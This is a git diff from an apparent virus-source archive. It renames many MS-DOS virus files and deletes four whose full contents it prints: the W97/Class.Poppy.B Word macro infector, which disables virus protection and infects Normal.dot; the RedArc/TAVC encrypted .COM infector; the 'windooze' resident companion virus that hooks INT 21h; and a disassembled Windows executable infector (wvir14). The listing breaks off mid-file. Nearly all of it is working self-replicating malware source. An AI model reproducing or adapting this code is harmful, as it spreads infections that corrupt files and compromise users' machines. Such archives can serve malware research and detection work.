diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wm_demez.txt b/MSDOS/Virus.MSDOS.Demenz.txt similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wm_demez.txt rename to MSDOS/Virus.MSDOS.Demenz.txt diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wrz_d00d.asm b/MSDOS/Virus.MSDOS.PX.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wrz_d00d.asm rename to MSDOS/Virus.MSDOS.PX.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.web_415.asm b/MSDOS/Virus.MSDOS.Tavc-RedArc.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.web_415.asm rename to MSDOS/Virus.MSDOS.Tavc-RedArc.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.winvir.asm b/MSDOS/Virus.MSDOS.Unknown.WindowsVirus.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.winvir.asm rename to MSDOS/Virus.MSDOS.Unknown.WindowsVirus.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.w31v.asm b/MSDOS/Virus.MSDOS.W31v.b.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.w31v.asm rename to MSDOS/Virus.MSDOS.W31v.b.asm diff --git a/MSDOS/Virus.MSDOS.WWT.7z b/MSDOS/Virus.MSDOS.WWT.7z new file mode 100644 index 00000000..9370cfe3 Binary files /dev/null and b/MSDOS/Virus.MSDOS.WWT.7z differ diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wanderer.asm b/MSDOS/Virus.MSDOS.Wanderer.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wanderer.asm rename to MSDOS/Virus.MSDOS.Wanderer.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wasmvir.asm b/MSDOS/Virus.MSDOS.WasmVir.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wasmvir.asm rename to MSDOS/Virus.MSDOS.WasmVir.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.weflow.asm b/MSDOS/Virus.MSDOS.WeFlow.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.weflow.asm rename to MSDOS/Virus.MSDOS.WeFlow.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.westmont.asm b/MSDOS/Virus.MSDOS.Westmont.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.westmont.asm rename to MSDOS/Virus.MSDOS.Westmont.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.whale.asm b/MSDOS/Virus.MSDOS.Whale.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.whale.asm rename to MSDOS/Virus.MSDOS.Whale.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wharps.asm b/MSDOS/Virus.MSDOS.Wharps.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.wharps.asm rename to MSDOS/Virus.MSDOS.Wharps.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.whatsup.asm b/MSDOS/Virus.MSDOS.WhatsUpVirus.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.whatsup.asm rename to MSDOS/Virus.MSDOS.WhatsUpVirus.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.why-wind.asm b/MSDOS/Virus.MSDOS.WhyWindows.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.why-wind.asm rename to MSDOS/Virus.MSDOS.WhyWindows.asm diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.winsurfr.a86 b/MSDOS/Virus.MSDOS.WinSurfer.asm similarity index 100% rename from MSDOS/W-Index/Virus.MSDOS.Unknown.winsurfr.a86 rename to MSDOS/Virus.MSDOS.WinSurfer.asm diff --git a/MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z b/MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z new file mode 100644 index 00000000..e35af42e Binary files /dev/null and b/MSDOS/Virus.MSDOS.WindowsVirus14aUnknown.7z differ diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.w97_class_poppy.txt b/MSDOS/W-Index/Virus.MSDOS.Unknown.w97_class_poppy.txt deleted file mode 100644 index 55303c3f..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.w97_class_poppy.txt +++ /dev/null @@ -1,128 +0,0 @@ -'W97/Class.Poppy.B -'Word 97 Class Object Infector -'First Ever Class Object Infetor - -Sub AutoOpen() - - ' AutoOpen Sub In Document - -On Error GoTo out - - ' Handle Errors - -Options.VirusProtection = False - - ' Turn Off Virus Protection - -Options.SaveNormalPrompt = False - - ' Turn Off Normal.dot Save Prompt - -Options.ConfirmConversions = False - - ' Turn Off Conversion Prompt (from 95 -> 97) - -ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines - - ' Count The Number Of Code Lines In The Document - -nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines - - ' Count The Number Of Code Lines In The Normal.dot - -If nt > 70 And ad > 0 Then GoTo out - - ' If We Are Installed In Both (Lines > 0 and 72) Then Exit - -If nt < 70 Then - - ' If We Are Not In The Normal.dot (Lines < 72) Then Install Us - - Set infect = NormalTemplate.VBProject.VBComponents.Item(1) - - ' Set Normal.dot Class Section As Infect Object (What We Want To Infect) - - ActiveDocument.VBProject.VBComponents.Item(1).Name = infect.Name - - ' Swamp The Class Section Names (Active Doc <- Normal Template) - - ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys" - - ' Export Our Virus Code - -End If - -If ad = 0 Then Set infect = ActiveDocument.VBProject.VBComponents.Item(1) - - ' If We Are Not In The Active Doc (Lines < 0) Then Install Us - -If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy" - - ' If The Day And Time Are Right Insult The User - -infect.codemodule.AddFromFile ("c:\class.sys") - - ' Use The Infect Object - Import Your Virus Code - -With infect.codemodule - - ' With The Newly Infected Class Object - - For x = 1 To 4 - - ' Clean Up The First 4 Lines Of Header-Code - - .deletelines 1 - - ' Delete Line 1 - 4 Times - - Next x - -End With - -If nt < 70 Then - - ' If We Just Infected The Normal.Dot - - With infect.codemodule - - .replaceline 1, "Sub AutoClose()" - - ' Change AutoOpen (on line 1) to AutoClose - - .replaceline 71, "Sub ToolsMacro()" - - ' Change Sub ViewVBCode (on line 71) to ToolsMacro - - End With - -End If - -With infect.codemodule - - ' With The Newly Infected Object - - For x = 2 To 72 Step 2 - - ' Use Word Object Data As Polymorpic Code On Every Other Line - - .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow - - Next x - -End With - -out: - -If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName - - ' If We Just Infected A Document Save It On Close - -End Sub - -Sub ViewVBCode() - - ' Stealth Hook - -End Sub - diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.web_390.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.web_390.asm deleted file mode 100644 index 13b1aa4b..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.web_390.asm +++ /dev/null @@ -1,225 +0,0 @@ -Model Tiny -.code -.286 -org 100h -start: - push cs - push offset Entry - retf - db 'DrWeb - £®à¡ãå !' -BEG_LEN equ $-start -Entry: - pusha - push ds - push es - call En1 -EN_LEN equ $-Entry -En1: - push ds - pop es - xchg ax,di - pop bp - sub bp,EN_LEN - mov bx,1100h - mov ah,4ah - int 21h - jnc ALLOCATED -Exit_Proc: - pop es - pop ds - popa - push cs - push si - retf -ALLOCATED: - mov ax,LBL - add ax,bp - mov cl,4 - shr ax,cl - inc ax - push ds - pop bx - add ax,bx - push ax - push cs - pop ds - pop es -LBL10: - mov si, bp - cld - xor cx,cx - add si, Crypt_Start -LBL0: - mov ax,word ptr ds:[si] - inc cx - mov bx,word ptr ds:[si+2] - inc cx - xchg ah,al - inc cx - xchg bh,bl - inc cx - xchg ax,bx - xor ax,0BEBEh - xor bx,0BEBEh - mov word ptr ds:[si],ax - mov word ptr ds:[si+2],bx - add si,4 - cmp cx, Crypt_LEN - jge LBL1 - jmp short LBL0 -LBL1: -Crypt_Start equ $-Entry - - mov ah,1ah - mov dx,bp - add dx,Crypt_End - mov bx,dx - int 21h - - push es - push cs - pop es - mov di,100h - mov si,bp - add si,Old_BEGIN - mov cx,BEG_LEN - rep movsb - pop es - - cld - mov ah,4eh - mov cx, 20h - mov dx,bp - add dx,C_Mask -Interrupt: - int 21h - jb Not_Found - jmp Test_File -Not_Found: - mov ah,1ah - mov dx,80h - int 21h - jmp Exit_Proc -Test_File: - push bx - add bx,1ah - mov ax,[bx] - and ax,0f000h - cmp ax,0f000h - jnz Len_Tested -Find_Next: - pop bx - mov ah,4fh - jmp Short Interrupt -Len_Tested: - add bx,04h - xchg dx,bx - mov ax,3d02h - int 21h - xchg ax,bx - mov ah,3fh - mov cx,BEG_LEN - mov dx,bp - add dx,Old_BEGIN - push dx - int 21h - pop si - cmp byte ptr ds:[si+14h],'!' - je Close_File - jmp short Uses_File -Close_File: - mov ah,3eh - int 21h - jmp Find_Next - -Uses_File: - mov ax,4202h - xor cx,cx - xor dx,dx - int 21h - push ax - - cld - mov si,bp - xor di,di - mov cx, Crypt_End / 2 - rep movsw - - pusha - push es - pop ds - xor cx,cx - mov si, Crypt_Start -LBL_0: - mov ax,word ptr ds:[si] - inc cx - mov bx,word ptr ds:[si+2] - inc cx - xchg ah,al - inc cx - xchg bh,bl - inc cx - xchg ax,bx - xor ax,0BEBEh - xor bx,0BEBEh - mov word ptr ds:[si],ax - mov word ptr ds:[si+2],bx - add si,4 - cmp cx, Crypt_LEN - jge LBL_1 - jmp short LBL_0 -LBL_1: - popa - - mov ah,40h - mov cx,Crypt_End - xor dx,dx - int 21h - mov ax,4200h - xor cx,cx - xor dx,dx - int 21h - push cs - pop ds - pop ax - pop si - push si - mov di,bp - add ax,100h - add di,New1 - inc di - mov [di],ax - mov ah,40h - mov dx,bp - add dx,New_BEGIN - mov cx,BEG_LEN - int 21h - jmp Close_File - -C_MASK equ $-Entry -db '*.com',0h - -New_BEGIN equ $-Entry - push cs -LI: -New1 equ $-Entry - push offset Entry - retf -Apll equ $-Entry -Rems equ $-LI - db 'DrWeb - £®à¡ãå !' - -Old_BEGIN equ $-Entry - db 0c3h - db BEG_LEN-1 dup (90h) - -db 'RedArc // [TAVC]' - -Crypt_End equ $-Entry -Crypt_LEN equ $-LBL1 - -DTA db 80h dup (?) - -LBL equ $-Entry - -end start diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.windooze.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.windooze.asm deleted file mode 100644 index 272617c9..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.windooze.asm +++ /dev/null @@ -1,289 +0,0 @@ -ideal -@date = 0355h ;21.10.1981 -@time = 8E79h ;17:51:50 -model tiny -codeseg -startupcode - jmp begin -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -macro intdos - pushf - call [dword cs:oi21] -endm -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -i21: push ax - xor al,al - cmp ah,3ch - jz okk - cmp ah,5bh - jz okk - cmp ah,3dh - jz okk - inc al - cmp ah,16h - jz okk - cmp ah,0fh - jnz ov0 -okk: jmp ok -ov0: cmp ah,1ah - jz setdta - mov [byte cs:funct],12h - cmp ah,12h - jz fndf - cmp ah,11h - jz fndf - mov [byte cs:funct],4fh - cmp ah,4eh - jz fndh - cmp ah,4fh - jz fndh -ov: pop ax - db 0eah -oi21 dw 0 -oi21s dw 0 -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -setdta: mov [cs:dta],dx - mov [cs:dta+2],ds - jmp ov -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -fndh: pop ax -fnd0: intdos - jc fex - pushf - push si di es ds - lds si,[dword cs:dta] -compar: cmp [word si+16h],@time - jnz f10 - cmp [word si+18h],@date - jnz f10 - pop ds es di si - popf - lds dx,[dword cs:dta] - db 0b4h -funct db 4fh - jmp fnd0 -f10: pop ds es di si - popf -fex: push ax bp - mov bp,sp - lahf - mov [ss:bp+8],ah - pop bp ax - iret -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -fndf: pop ax -fnf0: intdos - and al,al - jnz fex - pushf - push si di es ds - lds si,[dword cs:dta] - cmp [byte ds:si],0ffh - jnz f21 - add si,7 -f21: inc si - jmp compar -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -ok: push bx cx dx si di ds es - and al,al - jz nex - mov cx,6 - mov ax,cs - mov es,ax - lea di,[ok1] - mov si,dx - rep cmpsw - jnz nex - pop es ds di si dx cx bx ax - mov ax,1313h - iret -nex: - xor ax,ax - mov ds,ax - mov ax,[ds:90h] - push ax - mov ax,[ds:92h] - push ax - mov [word ds:90h],offset i24 - mov [word ds:92h],cs - - mov bx,[ds:46ch] - mov ax,cs - mov ds,ax - mov es,ax - test bx,6C1h - jnz no_chg - cmp [byte pauss],0 - jz chg1 - dec [byte pauss] - jmp no_chg -chg1: mov [pauss],80 - xor al,al - out 43h,al - jcxz $+2 - in al,40h - mov bl,al - in al,40h - add al,bl - and al,1fh - cmp al,'Z'-'A' - jbe xx1 - sub al,'Z'-'A' -xx1: add al,'A' - std - mov si,offset fname+6 - lea di,[si+1] - mov cx,7 - rep movsb - stosb -no_chg: - mov ah,5bh - lea dx,[fname] - mov cx,1 - intdos - jc term - mov bx,ax - mov ah,40h - mov cx,offset endcod-100h - mov dx,100h -; inc [cs:count] - mov [cs:flag],0 - intdos - cmp ax,offset endcod-100h - jnz ok1 - mov [cs:flag],1 -ok1: mov ax,5701h - mov cx,@time - mov dx,@date - intdos - - mov ah,3eh - intdos - cmp [cs:flag],1 - jz term - - lea dx,[fname] - mov ax,4301h - xor cx,cx - intdos - lea dx,[fname] - mov ah,41h -; dec [cs:count] - intdos -term: xor ax,ax - mov ds,ax - pop ax - mov [ds:92h],ax - pop ax - mov [ds:90h],ax -ok0: pop es ds di si dx cx bx - jmp ov -driv db 0 -flag db 0 -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -i24: mov al,3 - iret -;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -begin: mov ah,16h - lea dx,[ok1] - int 21h - cmp ax,1313h - jnz b01 -b02: int 20h -b01: mov ax,[ds:2ch] - mov ds,ax - xor si,si - cld -b04: lodsb - and al,al - jnz b04 - lodsb - and al,al - jnz b04 - inc si - inc si -b05: mov bx,si -b06: lodsb - cmp al,':' - jz b05 - cmp al,'\' - jz b05 - and al,al - jnz b06 - mov cx,si - sub cx,bx - mov si,bx - mov di,offset fname - rep movsb - mov ah,2fh - int 21h - mov [cs:dta],bx - mov [cs:dta+2],es - mov [byte cs:pauss],0 - mov ax,cs - mov ds,ax - dec ax - mov es,ax - - mov cl,4 - mov ax,offset endpr-100h - add ax,15 - shr ax,cl - mov cx,[es:3] - sub [es:3],ax - mov bx,ax - mov ax,cs - add ax,[es:3] - sub ax,10h - mov [bseg],ax - cmp [byte es:0],'Z' - jz b10 - - push ds - mov ax,cs - add ax,cx - mov ds,ax - sub ax,bx - mov es,ax - sub ax,0fh - mov [cs:bseg],ax - xor si,si - mov di,si - mov cx,8 - rep movsw - add [es:3],bx - sub [es:1],bx - pop ds - -b10: mov ax,[bseg] - mov es,ax - mov si,100h - mov di,si - mov cx,offset endpr-100h - rep movsb - mov di,offset b03 - xchg di,[0ah] - xchg ax,[0ch] - mov [es:oter],di - mov [es:oter+2],ax - ret -b03: push ax bx ds es cs - pop ds - mov ax,3521h - int 21h - mov [oi21],bx - mov [oi21s],es - mov ax,2521h - lea dx,[i21] - int 21h - pop es ds bx ax - db 0eah -endcod = $ -oter dw 0 -bseg dw ? -count dw ? -pauss db ? -fname db 13 dup (?) -dta dw ?,? -endpr = $ -end \ No newline at end of file diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14.asm deleted file mode 100644 index 98555159..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14.asm +++ /dev/null @@ -1,487 +0,0 @@ - -PAGE 59,132 - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -;ÛÛ ÛÛ -;ÛÛ WVIR14 ÛÛ -;ÛÛ ÛÛ -;ÛÛ Created: 1-Sep-92 ÛÛ -;ÛÛ Passes: 5 Analysis Options on: none ÛÛ -;ÛÛ ÛÛ -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - -data_11e equ 100h ;* -data_12e equ 140h ;* -data_13e equ 142h ;* -data_14e equ 144h ;* -data_15e equ 148h ;* -data_16e equ 14Ah ;* -data_17e equ 150h ;* -data_18e equ 16Eh ;* -data_19e equ 181h ;* -data_20e equ 19Ch ;* -data_21e equ 19Eh ;* -data_22e equ 1A0h ;* -data_23e equ 1A2h ;* - -;------------------------------------------------------------ seg_a ---- - -seg_a segment byte public - assume cs:seg_a , ds:seg_a , ss:stack_seg_b - - db 249 dup (0) - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -; -; Program Entry Point -; -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - - -wvir14 proc far - -start: - mov ax,cs - add ax,3Bh - mov ds,ax - cld ; Clear direction - push es - push ds - pop es - mov si,data_18e - mov di,data_19e - mov cx,0Dh - rep movsb ; Rep when cx >0 Mov [si] to es:[di] - mov dx,data_17e - mov ah,1Ah - int 21h ; DOS Services ah=function 1Ah - ; set DTA(disk xfer area) ds:dx - mov dx,17Bh - xor cx,cx ; Zero register - mov ah,4Eh -loc_1: - int 21h ; DOS Services ah=function 4Fh - ; find next filename match - jc loc_2 ; Jump if carry Set - mov dx,data_18e - call sub_1 - mov ah,4Fh ; 'O' - jmp short loc_1 -loc_2: - mov dx,data_19e - call sub_2 - pop es - mov ax,4C00h - int 21h ; DOS Services ah=function 4Ch - ; terminate with al=return code - -wvir14 endp - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_1 proc near - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jc loc_ret_4 ; Jump if carry Set - xchg ax,bx - mov si,100h - call sub_3 - jc loc_3 ; Jump if carry Set - cmp word ptr [si+14h],100h - je loc_3 ; Jump if equal - mov ax,5700h - int 21h ; DOS Services ah=function 57h - ; get file date+time, bx=handle - ; returns cx=time, dx=time - push cx - push dx - call sub_4 - pop dx - pop cx - mov ax,5701h - int 21h ; DOS Services ah=function 57h - ; set file date+time, bx=handle - ; cx=time, dx=time -loc_3: - mov ah,3Eh - int 21h ; DOS Services ah=function 3Eh - ; close file, bx=file handle - -loc_ret_4: - retn -sub_1 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_2 proc near - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jc loc_ret_4 ; Jump if carry Set - xchg ax,bx - mov si,100h - call sub_3 - jc loc_3 ; Jump if carry Set - cmp word ptr [si+14h],100h - jne loc_3 ; Jump if not equal - mov ax,5700h - int 21h ; DOS Services ah=function 57h - ; get file date+time, bx=handle - ; returns cx=time, dx=time - push cx - push dx - call sub_5 - call sub_6 - pop dx - pop cx - mov ax,5701h - int 21h ; DOS Services ah=function 57h - ; set file date+time, bx=handle - ; cx=time, dx=time - jmp short loc_3 -sub_2 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_3 proc near - call sub_8 - cmp word ptr [si],5A4Dh - jne loc_5 ; Jump if not equal - cmp word ptr [si+18h],40h - jb loc_5 ; Jump if below - mov ax,[si+3Ch] - mov dx,[si+3Eh] - call sub_16 - mov ds:data_20e,ax - mov ds:data_21e,dx - call sub_8 - cmp word ptr [si],454Eh - jne loc_5 ; Jump if not equal - cmp word ptr [si+0Ch],302h - jne loc_5 ; Jump if not equal - cmp byte ptr [si+32h],4 - jne loc_5 ; Jump if not equal - cmp word ptr [si+36h],802h - jne loc_5 ; Jump if not equal - clc ; Clear carry flag - retn -loc_5: - stc ; Set carry flag - -loc_ret_6: - retn -sub_3 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_4 proc near - mov ax,[si+16h] - mov dx,140h - call sub_7 - cmp word ptr ds:data_13e,3AEh - jb loc_ret_6 ; Jump if below - cmp byte ptr ds:data_14e,50h ; 'P' - jne loc_ret_6 ; Jump if not equal - mov ax,[si+0Eh] - mov dx,148h - call sub_7 - cmp word ptr ds:data_16e,4A8h - jb loc_ret_6 ; Jump if below - mov ax,ds:data_12e - call sub_15 - mov dx,1A8h - mov cx,2AEh - nop - call sub_9 - call sub_13 - mov dx,1A8h - mov cx,2AEh - nop - call sub_12 - mov ax,word ptr ds:[148h] - call sub_15 - mov dx,1A8h - mov cx,0A8h - nop - call sub_9 - call sub_13 - mov dx,1A8h - mov cx,0A8h - nop - call sub_12 - push word ptr ds:[144h] - pop word ptr ds:[1A2h] - and word ptr ds:[144h],0FEFFh - mov ax,[si+16h] - mov dx,140h - call sub_10 - xor ax,ax ; Zero register - cwd ; Word to double word - call sub_14 - push word ptr [si+14h] - pop word ptr ds:[1A0h] - mov word ptr [si+14h],100h - call sub_11 - mov ax,word ptr ds:[140h] - call sub_15 - push ds - push cs - pop ds - mov dx,100h - mov cx,2AEh - nop - call sub_12 - pop ds - mov ax,word ptr ds:[148h] - call sub_15 - mov dx,100h - mov cx,0A8h - nop - call sub_12 - retn -sub_4 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_5 proc near - mov ax,[si+0Eh] - mov dx,148h - call sub_7 - mov ax,ds:data_15e - call sub_15 - mov dx,100h - mov cx,0A8h - nop - call sub_9 - retn -sub_5 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_6 proc near - push word ptr ds:data_23e - pop word ptr ds:data_14e - mov ax,[si+16h] - mov dx,140h - call sub_10 - push word ptr ds:data_22e - pop word ptr [si+14h] - xor ax,ax ; Zero register - cwd ; Word to double word - call sub_14 - call sub_11 - call sub_13 - sub ax,0A8h - nop - sbb dx,0 - push ax - push dx - call sub_16 - mov dx,1A8h - mov cx,0A8h - nop - call sub_9 - mov ax,ds:data_15e - call sub_15 - mov dx,1A8h - mov cx,0A8h - nop - call sub_12 - pop dx - pop ax - sub ax,2AEh - nop - sbb dx,0 - push ax - push dx - call sub_16 - mov dx,1A8h - mov cx,2AEh - nop - call sub_9 - mov ax,word ptr ds:[140h] - call sub_15 - mov dx,1A8h - mov cx,2AEh - nop - call sub_12 - pop dx - pop ax - call sub_16 - mov cx,0 - call sub_12 - retn -sub_6 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_7 proc near - push dx - dec ax - mov cx,8 - mul cx ; dx:ax = reg * ax - add ax,[si+22h] - adc dx,0 - call sub_14 - pop dx - mov cx,8 - jmp short loc_7 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_8: - mov dx,data_11e - mov cx,40h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_9: -loc_7: - mov ah,3Fh - int 21h ; DOS Services ah=function 3Fh - ; read file, bx=file handle - ; cx=bytes to ds:dx buffer - retn -sub_7 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_10 proc near - push dx - dec ax - mov cx,8 - mul cx ; dx:ax = reg * ax - add ax,[si+22h] - adc dx,0 - call sub_14 - pop dx - mov cx,8 - jmp short loc_8 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_11: - mov dx,data_11e - mov cx,40h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_12: -loc_8: - mov ah,40h - int 21h ; DOS Services ah=function 40h - ; write file bx=file handle - ; cx=bytes from ds:dx buffer - retn -sub_10 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE 